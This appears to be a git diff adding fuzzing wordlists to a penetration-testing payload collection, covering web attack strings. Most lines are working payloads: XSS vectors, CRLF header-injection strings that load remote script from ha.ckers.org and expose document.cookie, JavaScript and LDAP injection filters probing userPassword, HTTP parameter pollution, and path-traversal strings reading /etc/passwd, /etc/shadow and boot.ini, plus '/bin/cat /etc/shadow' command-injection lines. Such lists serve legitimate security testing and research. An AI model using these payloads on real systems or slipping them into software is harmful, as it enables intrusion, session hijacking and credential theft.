<!-- IE 6-8 --><x '="foo"><x foo='><img src=x onerror=alert(1)//'><!-- IE 6-9 --><! '="foo"><x foo='><img src=x onerror=alert(2)//'><? '="foo"><x foo='><img src=x onerror=alert(3)//'>
|
||||
<embed src="javascript:alert(1)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓
|
||||
<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>
|
||||
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?><root/>
|
||||
<!DOCTYPE x [ <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x" onerror CDATA "alert(1)" onload CDATA "alert(2)">]><img />
|
||||
<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml"> <html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x></doc>
|
||||
<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card>
|
||||
<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>
|
||||
<// style=x:expression\28write(1)\29>
|
||||
<form><button formaction="javascript:alert(1)">X</button>
|
||||
<event-source src="event.php" onload="alert(1)">
|
||||
<a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>
|
||||
<script<{alert(1)}/></script </>
|
||||
<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>
|
||||
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
|
||||
<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>
|
||||
<object allowscriptaccess="always" data="test.swf"></object>
|
||||
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(write(1))}</style>
|
||||
<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/>
|
||||
<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>
|
||||
<x:template xmlns:x="http://www.wapforum.org/2001/wml" x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template>
|
||||
<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/>
|
||||
<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>
|
||||
<body oninput=alert(1)><input autofocus>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a></svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><animation xlink:href="javascript:alert(1)"/><animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'%3E%3C/svg%3E"/><foreignObject xlink:href="javascript:alert(1)"/><foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(1)%3C/script%3E"/></svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><set attributeName="onmouseover" to="alert(1)"/><animate attributeName="onunload" to="alert(1)"/></svg>
|
||||
<!-- Up to Opera 10.63 --><div style=content:url(test2.svg)></div><!-- Up to Opera 11.64 - see link below --><!-- Up to Opera 12.x --><div style="background:url(test5.svg)">PRESS ENTER</div>
|
||||
[A]<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>">[B]<? foo="><x foo='?><script>alert(1)</script>'>">[C]<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">[D]<% foo><x foo="%><script>alert(1)</script>">
|
||||
<div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>
|
||||
<div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler></svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage></svg>
|
||||
<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe><iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>
|
||||
<!-- IE 5-9 --><div id=d><x xmlns="><iframe onload=alert(1)"></div><script>d.innerHTML+='';</script><!-- IE 10 in IE5-9 Standards mode --><div id=d><x xmlns='"><iframe onload=alert(2)//'></div><script>d.innerHTML+='';</script>
|
||||
<div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div><script>with(document.getElementById("d"))innerHTML=innerHTML</script>
|
||||
XXX<style>*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */<!----><!--*{color:red} /* all UA */*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */</style>
|
||||
<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
|
||||
<a href="[a]java[b]script[c]:alert(1)">XXX</a>
|
||||
<img src="x` `<script>alert(1)</script>"` `>
|
||||
<script>history.pushState(0,0,'/i/am/somewhere_else');</script>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" id="foo"><x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/></svg>
|
||||
<iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>
|
||||
<img src onerror /" '"= alt=alert(1)//">
|
||||
<title onpropertychange=alert(1)></title><title title=></title>
|
||||
<!-- IE 5-8 standards mode --><a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(1)></a>"><!-- IE 5-9 standards mode --><!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//"><?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><a id="x"><rect fill="white" width="1000" height="1000"/></a><rect fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/></svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><path d="M0,0" style="marker-start:url(test4.svg#a)"/></svg>
|
||||
<div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>
|
||||
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>
|
||||
<div id="x">XXX</div><style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>
|
||||
<x style="background:url('x[a];color:red;/*')">XXX</x>
|
||||
<!--[if]><script>alert(1)</script --><!--[if<img src=x onerror=alert(2)//]> -->
|
||||
<div id="x">x</div><xml:namespace prefix="t"><import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=alert(1)>">
|
||||
<a href="http://attacker.org"> <iframe src="http://example.org/"></iframe></a>
|
||||
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"> <h1>Drop me</h1></div><iframe src="http://www.example.org/dropHere.html"></iframe>
|
||||
<iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe><textarea type="text" cols="50" rows="10"></textarea>
|
||||
<script>function makePopups(){ for (i=1;i<6;i++) { window.open('popup.html','spam'+i,'width=50,height=50'); }}</script><body><a href="#" onclick="makePopups()">Spam</a>
|
||||
<html xmlns="http://www.w3.org/1999/xhtml"xmlns:svg="http://www.w3.org/2000/svg"><body style="background:gray"><iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/><svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"> <svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/> <svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body></html>
|
||||
<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>
|
||||
<span class=foo>Some text</span><a class=bar href="http://www.example.org">www.example.org</a><script src="http://code.jquery.com/jquery-1.4.4.js"></script><script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>
|
||||
<script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10<script src="\\example.com\foo.js"></script> // Safari 5.0
|
||||
<?xml version="1.0"?><?xml-stylesheet type="text/xml" href="#stylesheet"?><!DOCTYPE doc [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]><svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle></svg>
|
||||
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object><object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" id="x"><listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/><handler id="y">alert(1)</handler></svg>
|
||||
<svg><style><img/src=x onerror=alert(1)// </b>
|
||||
<svg><image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>")'><!--Same effect with<image filter='...'>--></svg>
|
||||
<math href="javascript:alert(1)">CLICKME</math><math><!-- up to FF 13 --><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction><!-- FF 14+ --><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction></math>
|
||||
<b>drag and drop one of the following strings to the drop box:</b><br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b><br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/><div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
|
||||
<!doctype html><form><label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label><br><input name="secret" type="password"></form><!-- injection --><svg height="50px"><image xmlns:xlink="http://www.w3.org/1999/xlink"><set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" /><set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" /><set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" /><set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" /></image></svg>
|
||||
<!-- `<img/src=xx:xx onerror=alert(1)//--!>
|
||||
<xmp><%</xmp><img alt='%></xmp><img src=xx:x onerror=alert(1)//'><script>x='<%'</script> %>/alert(2)</script>XXX<style>*['<!--']{}</style>-->{}*{color:red}</style>
|
||||
<?xml-stylesheet type="text/xsl" href="#" ?><stylesheet xmlns="http://www.w3.org/TR/WD-xsl"><template match="/"><eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval><if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if></template></stylesheet>
|
||||
<form action="" method="post"><input name="username" value="admin" /><input name="password" type="password" value="secret" /><input name="injected" value="injected" dirname="password" /><input type="submit"></form>
|
||||
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"><circle r="400"></circle><animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /></a>
|
||||
<isindex type=image src=1 onerror=alert(1)>
|
||||
<isindex action=javascript:alert(1) type=image>
|
||||
<object data="javascript:alert(0)">
|
||||
<img src=x:alert(alt) onerror=eval(src) alt=0>
|
||||
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>
|
||||
115
attack/html_js_fuzz/html_tags.txt
Normal file
115
attack/html_js_fuzz/html_tags.txt
Normal file
|
|
@ -0,0 +1,115 @@
|
|||
<!-- -->
|
||||
<!DOCTYPE>
|
||||
<a>
|
||||
<abbr>
|
||||
<acronym>
|
||||
<address>
|
||||
<applet>
|
||||
<area>
|
||||
<article>
|
||||
<aside>
|
||||
<audio>
|
||||
<b>
|
||||
<base>
|
||||
<basefont>
|
||||
<bdo>
|
||||
<big>
|
||||
<blockquote>
|
||||
<body>
|
||||
<br>
|
||||
<button>
|
||||
<canvas>
|
||||
<caption>
|
||||
<center>
|
||||
<cite>
|
||||
<code>
|
||||
<col>
|
||||
<colgroup>
|
||||
<command>
|
||||
<datalist>
|
||||
<dd>
|
||||
<del>
|
||||
<details>
|
||||
<dfn>
|
||||
<dir>
|
||||
<div>
|
||||
<dl>
|
||||
<dt>
|
||||
<em>
|
||||
<embed>
|
||||
<fieldset>
|
||||
<figcaption>
|
||||
<figure>
|
||||
<font>
|
||||
<footer>
|
||||
<form>
|
||||
<frame>
|
||||
<frameset>
|
||||
<h1>
|
||||
<head>
|
||||
<header>
|
||||
<hgroup>
|
||||
<hr>
|
||||
<html>
|
||||
<i>
|
||||
<iframe>
|
||||
<img>
|
||||
<input>
|
||||
<ins>
|
||||
<keygen>
|
||||
<kbd>
|
||||
<label>
|
||||
<legend>
|
||||
<li>
|
||||
<link>
|
||||
<map>
|
||||
<mark>
|
||||
<menu>
|
||||
<meta>
|
||||
<meter>
|
||||
<nav>
|
||||
<noframes>
|
||||
<noscript>
|
||||
<object>
|
||||
<ol>
|
||||
<optgroup>
|
||||
<option>
|
||||
<output>
|
||||
<p>
|
||||
<param>
|
||||
<pre>
|
||||
<progress>
|
||||
<q>
|
||||
<rp>
|
||||
<rt>
|
||||
<ruby>
|
||||
<s>
|
||||
<samp>
|
||||
<script>
|
||||
<section>
|
||||
<select>
|
||||
<small>
|
||||
<source>
|
||||
<span>
|
||||
<strike>
|
||||
<strong>
|
||||
<style>
|
||||
<sub>
|
||||
<summary>
|
||||
<sup>
|
||||
<table>
|
||||
<tbody>
|
||||
<td>
|
||||
<textarea>
|
||||
<tfoot>
|
||||
<th>
|
||||
<thead>
|
||||
<time>
|
||||
<title>
|
||||
<tr>
|
||||
<tt>
|
||||
<u>
|
||||
<ul>
|
||||
<var>
|
||||
<video>
|
||||
<xmp>
|
||||
74
attack/html_js_fuzz/javascript_events.txt
Normal file
74
attack/html_js_fuzz/javascript_events.txt
Normal file
|
|
@ -0,0 +1,74 @@
|
|||
onafterprint
|
||||
onbeforeprint
|
||||
onbeforeonload
|
||||
onblur
|
||||
onerror
|
||||
onfocus
|
||||
onhaschange
|
||||
onload
|
||||
onmessage
|
||||
onoffline
|
||||
ononline
|
||||
onpagehide
|
||||
onpageshow
|
||||
onpopstate
|
||||
onredo
|
||||
onresize
|
||||
onstorage
|
||||
onundo
|
||||
onunload
|
||||
onblur
|
||||
onchange
|
||||
oncontextmenu
|
||||
onfocus
|
||||
onformchange
|
||||
onforminput
|
||||
oninput
|
||||
oninvalid
|
||||
onreset
|
||||
onselect
|
||||
onsubmit
|
||||
onkeydown
|
||||
onkeypress
|
||||
onkeyup
|
||||
onclick
|
||||
ondblclick
|
||||
ondrag
|
||||
ondragend
|
||||
ondragenter
|
||||
ondragleave
|
||||
ondragover
|
||||
ondragstart
|
||||
ondrop
|
||||
onmousedown
|
||||
onmousemove
|
||||
onmouseout
|
||||
onmouseover
|
||||
onmouseup
|
||||
onmousewheel
|
||||
onscroll
|
||||
onabort
|
||||
oncanplay
|
||||
oncanplaythrough
|
||||
ondurationchange
|
||||
onemptied
|
||||
onended
|
||||
onerror
|
||||
onloadeddata
|
||||
onloadedmetadata
|
||||
onloadedstart
|
||||
onpause
|
||||
onplay
|
||||
onplaying
|
||||
onprogress
|
||||
onratechange
|
||||
onreadystatechange
|
||||
onseeked
|
||||
onseeking
|
||||
onstalled
|
||||
onsuspend
|
||||
ontimeupdate
|
||||
onvolumechange
|
||||
onwaiting
|
||||
style
|
||||
|
||||
10
attack/html_js_fuzz/js_inject.txt
Normal file
10
attack/html_js_fuzz/js_inject.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
function(){ return this.userid}
|
||||
' function(){ return this.username} or '1'='1
|
||||
function(){return version()}
|
||||
function(){return version}
|
||||
t'; return this; var d='!
|
||||
" function(){ return this} or '1'='1
|
||||
t"; return this; var d='!
|
||||
' || this || '1'=='1
|
||||
' || this.version || '1'=='1
|
||||
' || '1'=='1
|
||||
20
attack/http-protocol/crlf-injection.txt
Normal file
20
attack/http-protocol/crlf-injection.txt
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
%0d%0a
|
||||
%0d%0a%0d%0a
|
||||
r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Injected%02Content</html>
|
||||
%0d%0d%0a%0a
|
||||
0x0D0x0A
|
||||
0x0D0x0D0x0A0x0A
|
||||
\r\n
|
||||
%5cr%5cn
|
||||
%0%0d%0ad%0%0d%0aa
|
||||
%0%0D%0AD%0%0D%0AA
|
||||
%0d%0aContentType:%20text/html;charset=UTF-7%0d%0aContent-Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2Bdocument.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-%2BADw-/html%2BAD4
|
||||
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
|
||||
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
|
||||
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com
|
||||
%0d%0a%0d%0a%3Chtml%3E%3Cbody%3E%3C%2Fbody%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fs.js%3E%3C%2Fscript%3E%3Cscript%3Ealert(%22location.host%20is:%20%22%2Blocation.host)%3C%2Fscript%3E%3C%2Fhtml%3E
|
||||
%0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2Fscript%3E
|
||||
%22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22
|
||||
%0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
|
||||
%0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
|
||||
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
|
||||
38
attack/http-protocol/hpp.txt
Normal file
38
attack/http-protocol/hpp.txt
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# HTTP paramter polution and interpretation payloads by Jacco van Tuijl
|
||||
?id=id=1
|
||||
&id=1?id=2
|
||||
?id['&id=1']=2
|
||||
?id[1&id=2]=1
|
||||
?id=1&id=2
|
||||
&id=1&id=2
|
||||
?id=1%26id%3D2
|
||||
?id&id=1
|
||||
????id=1
|
||||
&&&&id=1
|
||||
?id=id['1']=2
|
||||
?id=1#id=2
|
||||
?id==1
|
||||
?id===1
|
||||
;id=1?id=2
|
||||
?id;id=1
|
||||
&id=1;id=2
|
||||
#id=1?id=2&id=3
|
||||
?id=1,2
|
||||
?id1,id2=1
|
||||
?id[=1&id=2]=3
|
||||
?id[&id=2]=1
|
||||
?id=[1,2]
|
||||
?id&=1
|
||||
?id[]=1&id=2
|
||||
?id=/:@&=+$&id=2
|
||||
?id[=/:@&=+$&id=2]=1
|
||||
?id={id:{id:1},2}
|
||||
?id[{id:{id[]:1},2}]=3
|
||||
?id=%23?id=1
|
||||
?id=1%26id=2
|
||||
?id=1%2526id=2
|
||||
?id=1%c0%a6id=2
|
||||
?id=1\uc0a6id=2
|
||||
?id=1&id=2
|
||||
?id=1&id=2
|
||||
?id=1%u0026;id=2
|
||||
148
attack/http-protocol/known-uri-types.txt
Normal file
148
attack/http-protocol/known-uri-types.txt
Normal file
|
|
@ -0,0 +1,148 @@
|
|||
aaa:
|
||||
aaas:
|
||||
about:
|
||||
acap:
|
||||
adiumxtra:
|
||||
afp:
|
||||
aim:
|
||||
apt:
|
||||
aw:
|
||||
beshare:
|
||||
bitcoin:
|
||||
bolo:
|
||||
callto:
|
||||
cap:
|
||||
chrome:
|
||||
cid:
|
||||
coap:
|
||||
content:
|
||||
crid:
|
||||
cvs:
|
||||
data:
|
||||
dav:
|
||||
dict:
|
||||
dns:
|
||||
doi:
|
||||
ed2k:
|
||||
facetime:
|
||||
fax:
|
||||
feed:
|
||||
file:
|
||||
finger:
|
||||
fish:
|
||||
ftp:
|
||||
geo:
|
||||
gg:
|
||||
git:
|
||||
gizmoproject:
|
||||
go:
|
||||
gopher:
|
||||
gtalk:
|
||||
h323:
|
||||
http:
|
||||
https:
|
||||
iax:
|
||||
icap:
|
||||
im:
|
||||
imap:
|
||||
info:
|
||||
ipp:
|
||||
irc:
|
||||
irc6:
|
||||
ircs:
|
||||
iris.beep:
|
||||
iris.lws:
|
||||
iris.xpcs:
|
||||
iris.xpc:
|
||||
iris:
|
||||
itms:
|
||||
jar:
|
||||
javascript:
|
||||
keyparc:
|
||||
lastfm:
|
||||
ldap:
|
||||
ldaps:
|
||||
lsid:
|
||||
magnet:
|
||||
mailto:
|
||||
maps:
|
||||
market:
|
||||
message:
|
||||
mid:
|
||||
mms:
|
||||
modem:
|
||||
msnim:
|
||||
msrps:
|
||||
msrp:
|
||||
mtqp:
|
||||
mumble:
|
||||
mupdate:
|
||||
mvn:
|
||||
news:
|
||||
nfs:
|
||||
nntp:
|
||||
notes:
|
||||
opaquelocktoken:
|
||||
palm:
|
||||
paparazzi:
|
||||
platform:
|
||||
pop:
|
||||
pres:
|
||||
prospero:
|
||||
proxy:
|
||||
psyc:
|
||||
query:
|
||||
rmi:
|
||||
rsync:
|
||||
rtmp:
|
||||
rtsp:
|
||||
secondlife:
|
||||
service:
|
||||
sftp:
|
||||
sgn:
|
||||
shttp:
|
||||
sieve:
|
||||
sip:
|
||||
sips:
|
||||
skype:
|
||||
smb:
|
||||
sms:
|
||||
snmp:
|
||||
soap.beeps:
|
||||
soap.beep:
|
||||
soldat:
|
||||
spotify:
|
||||
ssh:
|
||||
steam:
|
||||
svn:
|
||||
tag:
|
||||
teamspeak:
|
||||
tel:
|
||||
telnet:
|
||||
tftp:
|
||||
things:
|
||||
thismessage:
|
||||
tip:
|
||||
tv:
|
||||
udp:
|
||||
unreal:
|
||||
urn:
|
||||
ut2004:
|
||||
uuid:
|
||||
vemmi:
|
||||
ventrilo:
|
||||
view-source:
|
||||
wais:
|
||||
webcal:
|
||||
wss:
|
||||
ws:
|
||||
wtai:
|
||||
wyciwyg:
|
||||
xfire:
|
||||
xmlrpc.beeps:
|
||||
xmlrpc.beep :
|
||||
xmpp:
|
||||
xri:
|
||||
ymsgr:
|
||||
z39.50r:
|
||||
z39.50s:
|
||||
89
attack/json/JSON_Fuzzing.txt
Normal file
89
attack/json/JSON_Fuzzing.txt
Normal file
File diff suppressed because one or more lines are too long
28
attack/ldap/ldap-injection.txt
Normal file
28
attack/ldap/ldap-injection.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
!
|
||||
%21
|
||||
%26
|
||||
%28
|
||||
%29
|
||||
%2A%28%7C%28mail%3D%2A%29%29
|
||||
%2A%28%7C%28objectclass%3D%2A%29%29
|
||||
%2A%7C
|
||||
%7C
|
||||
&
|
||||
(
|
||||
)
|
||||
*()|%26'
|
||||
*()|&'
|
||||
*(|(mail=*))
|
||||
*(|(objectclass=*))
|
||||
*)(uid=*))(|(uid=*
|
||||
*/*
|
||||
*|
|
||||
/
|
||||
//
|
||||
//*
|
||||
@*
|
||||
|
|
||||
admin*
|
||||
admin*)((|userpassword=*)
|
||||
admin*)((|userPassword=*)
|
||||
x' or name()='username' or 'x'='y
|
||||
867
attack/lfi/JHADDIX_LFI.txt
Normal file
867
attack/lfi/JHADDIX_LFI.txt
Normal file
|
|
@ -0,0 +1,867 @@
|
|||
/.../.../.../.../.../
|
||||
\…..\\\…..\\\…..\\\
|
||||
%00../../../../../../etc/passwd
|
||||
%00/etc/passwd%00
|
||||
%00../../../../../../etc/shadow
|
||||
%00/etc/shadow%00
|
||||
%0a/bin/cat%20/etc/passwd
|
||||
%0a/bin/cat%20/etc/shadow
|
||||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
|
||||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00
|
||||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
|
||||
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini
|
||||
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
|
||||
/../../../../../../../../%2A
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
|
||||
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
|
||||
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
|
||||
..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
|
||||
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
|
||||
..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow
|
||||
=3D “/..” . “%2f..
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
|
||||
admin/access_log
|
||||
/admin/install.php
|
||||
../../../administrator/inbox
|
||||
/apache2/logs/access_log
|
||||
/apache2/logs/access.log
|
||||
/apache2/logs/error_log
|
||||
/apache2/logs/error.log
|
||||
/apache/logs/access_log
|
||||
/apache/logs/access.log
|
||||
../../../../../apache/logs/access.log
|
||||
../../../../apache/logs/access.log
|
||||
../../../apache/logs/access.log
|
||||
../../apache/logs/access.log
|
||||
../apache/logs/access.log
|
||||
/apache/logs/error_log
|
||||
/apache/logs/error.log
|
||||
../../../../../apache/logs/error.log
|
||||
../../../../apache/logs/error.log
|
||||
../../../apache/logs/error.log
|
||||
../../apache/logs/error.log
|
||||
../apache/logs/error.log
|
||||
/apache\php\php.ini
|
||||
\\'/bin/cat%20/etc/passwd\\'
|
||||
\\'/bin/cat%20/etc/shadow\\'
|
||||
/.bash_history
|
||||
/.bash_profile
|
||||
/.bashrc
|
||||
/../../../../../../../../bin/id|
|
||||
/bin/php.ini
|
||||
/boot/grub/grub.conf
|
||||
/./././././././././././boot.ini
|
||||
/../../../../../../../../../../../boot.ini
|
||||
/..\../..\../..\../..\../..\../..\../boot.ini
|
||||
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
|
||||
